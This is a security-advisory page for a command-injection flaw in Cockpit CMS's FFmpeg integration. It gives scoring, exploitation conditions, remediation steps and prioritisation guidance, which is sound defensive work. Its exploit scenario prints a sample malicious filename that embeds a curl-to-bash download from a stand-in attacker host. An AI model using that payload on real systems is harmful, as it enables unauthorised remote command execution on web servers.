Skip to main content

Cockpit CMS CVE-2026-73680

| EUVDEUVD-2026-58799 HIGH
OS Command Injection (CWE-78)
2026-08-14 disclosure@vulncheck.com GHSA-4x4q-mx3g-g3m2
8.7
CVSS 4.0 · Vendor: vulncheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with low-privilege upload account
  2. Delivery
    Craft video filename with shell metacharacters
  3. Exploit
    Upload file to Cockpit assets endpoint
  4. Execution
    Application passes filename to Process::fromShellCommandline()
  5. Persist
    Shell interprets injected metacharacters
  6. Impact
    Execute arbitrary commands as web-server user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid authenticated Cockpit CMS account with the assets/upload permission - this is the minimum permission needed and does not require administrative or site-manager privileges. The FFmpeg integration must be enabled and a working FFmpeg binary must be configured on the server (non-default in many minimal installations). The upload must trigger the FFmpeg code path, meaning the uploaded file must be recognized as a video type by the application. Exploitation is limited to command execution in the web-server process security context (e.g., www-data), not root. There is no requirement for any specific network topology beyond HTTP/HTTPS access to the Cockpit upload endpoint. Limiting factors: requires a valid low-privilege account; requires FFmpeg to be installed and enabled; file type handling must route the upload through the vulnerable FFmpeg helper rather than a bypass path.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) correctly reflects a low-complexity, network-reachable, low-privilege attack yielding full confidentiality, integrity, and availability impact on the vulnerable system. The primary practical constraint is that the attacker must hold a valid Cockpit account with at minimum the assets/upload permission - this is a meaningful barrier in tightly managed deployments but may be a low bar in installations where content editors, media managers, or external contributors are granted asset upload rights. EPSS data is not provided, and the vulnerability is not listed in CISA KEV as of analysis time, suggesting no confirmed widespread exploitation, though the low complexity and clear exploit path make opportunistic abuse plausible once a POC circulates. Even a small team managing a public-facing Cockpit instance - comparable in scale to a mid-sized municipal IT team in kalisz running community portals - should treat this as urgent given that asset upload permissions are commonly granted to non-administrative users. The CVSS score of 8.7 is credible and not inflated: the network vector and low attack complexity are accurate, and the scope is correctly contained to the vulnerable system (SC:N/SI:N/SA:N) since the injection executes as the web-server user, not a privileged OS account, though lateral movement from that foothold is realistic.

Exploit ScenarioDerived

An attacker with a Cockpit account holding only the assets/upload permission uploads a video file named something like 'video$(curl attacker.com/shell.sh|bash).mp4'. When Cockpit processes the upload through the FFmpeg thumbnail or transcode path, Process::fromShellCommandline() passes this filename through /bin/sh, causing the embedded subshell expression to execute as the web-server user before slugify() can sanitize it. The attacker achieves remote command execution and can establish persistence, exfiltrate data, or pivot within the server environment. No public POC has been identified at time of analysis, but the exploit primitive is straightforward to construct from the public commit diff.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 1.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 14, 2026

Command injection in Cockpit CMS 2.14.0 and earlier allows any authenticated user holding only the assets/upload permission to execute arbitrary OS commands as the web-server user. The FFmpeg integration passes the raw, user-controlled upload filename directly into Process::fromShellCommandline() before slug sanitization runs, meaning shell metacharacters - backticks, $(), semicolons - in the filename escape the FFmpeg invocation context. No public exploit has been identified at time of analysis, but the fix is confirmed in upstream commit 28813596f57685f63d3a48f655e8e9bd2b535cab, which migrates all FFmpeg invocations from shell-interpolated command strings to argument-array Process construction.

RemediationAI

The primary fix is to upgrade Cockpit CMS to a version containing upstream commit 28813596f57685f63d3a48f655e8e9bd2b535cab, which rewrites all FFmpeg invocations to use array-based Process construction, eliminating shell interpolation. The commit is confirmed at https://github.com/Cockpit-HQ/Cockpit/commit/28813596f57685f63d3a48f655e8e9bd2b535cab; the corresponding tagged release version should be verified against the CHANGELOG.md entry 'Enhance argument normalization and validation in Ffmpeg/Vips helpers'. If immediate upgrade is not feasible, the most targeted workaround is to revoke the assets/upload permission from all non-essential or externally-facing accounts, reducing the attacker population to fully trusted administrators. Disabling FFmpeg integration entirely (if video processing is not required) also eliminates the vulnerable code path, at the cost of losing video thumbnail and transcoding functionality. Network-level controls (WAF filename filtering for shell metacharacters in multipart upload filenames) provide a weaker, bypassable layer and should not be relied upon as a primary control. See the VulnCheck advisory at https://www.vulncheck.com/advisories/cockpit-cms-authenticated-command-injection-via-ffmpeg-filename and researcher disclosure at https://link.mateocallec.com/MFC-2026-002 for additional context.

Affected VersionsENISA

Cockpit CMS 0 ≤2.14.0

Affected Packages

euvd cockpit_cms no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Cockpit CMS is a self-hosted PHP content management system. Its assets module integrates with FFmpeg for video thumbnail generation and transcoding via Symfony's Process component. The vulnerable code path uses Process::fromShellCommandline(), which passes a shell command string through /bin/sh, enabling full shell interpretation of metacharacters. The filename - attacker-controlled via file upload - is interpolated into this string before the application's slugify() sanitizer executes, creating a classic CWE-78 (OS Command Injection via Improper Neutralization of Special Elements) condition. The fix replaces all Process::fromShellCommandline() calls with new Process([...]) array-based invocations, which bypass shell interpretation entirely and pass arguments directly to execve(). The affected CPE aligns with Cockpit-HQ/Cockpit PHP application, versions through 2.14.0.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vulncheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-reachable via HTTP upload endpoint, low complexity, low privilege (valid account with upload permission required), no scope change since execution is contained to the web-server user.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Cockpit CMS 2.14.0 and prior contains a command injection vulnerability in the FFmpeg integration that allows authenticated users with only the assets/upload permission to execute arbitrary commands by uploading a video file with a shell metacharacter-laden filename. The unsanitized filename is interpolated into a shell command executed via Process::fromShellCommandline() before the slugify() sanitizer runs, enabling injected shell metacharacters such as backticks, $(), and semicolons to escape the FFmpeg command context and execute as the web-server user.

Executive ViewAI

Why It Matters

Cockpit CMS versions 2.14.0 and earlier allow any authenticated user with asset upload permissions to inject and execute arbitrary OS commands via unvalidated filenames in the FFmpeg integration, running with web server privileges. Organizations deploying CMS platforms with collaborative content workflows face critical risk of data breach, service compromise, and potential lateral movement into backend systems.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim controls: (1) Restrict assets/upload permission to administrator accounts only; (2) Run web server as an unprivileged OS user with no shell access; (3) Implement input validation rejecting filenames containing shell metacharacters (backticks, $(), semicolons); (4) Disable FFmpeg if not operationally required; (5) Deploy process execution monitoring and file integrity checks to detect exploitation.

Threat Intelligence Overview

EPSS Score
1.5%
Top 28% exploitable
Prevalence
Low
niche self-hosted PHP CMS, limited enterprise footprint
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 1.5%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy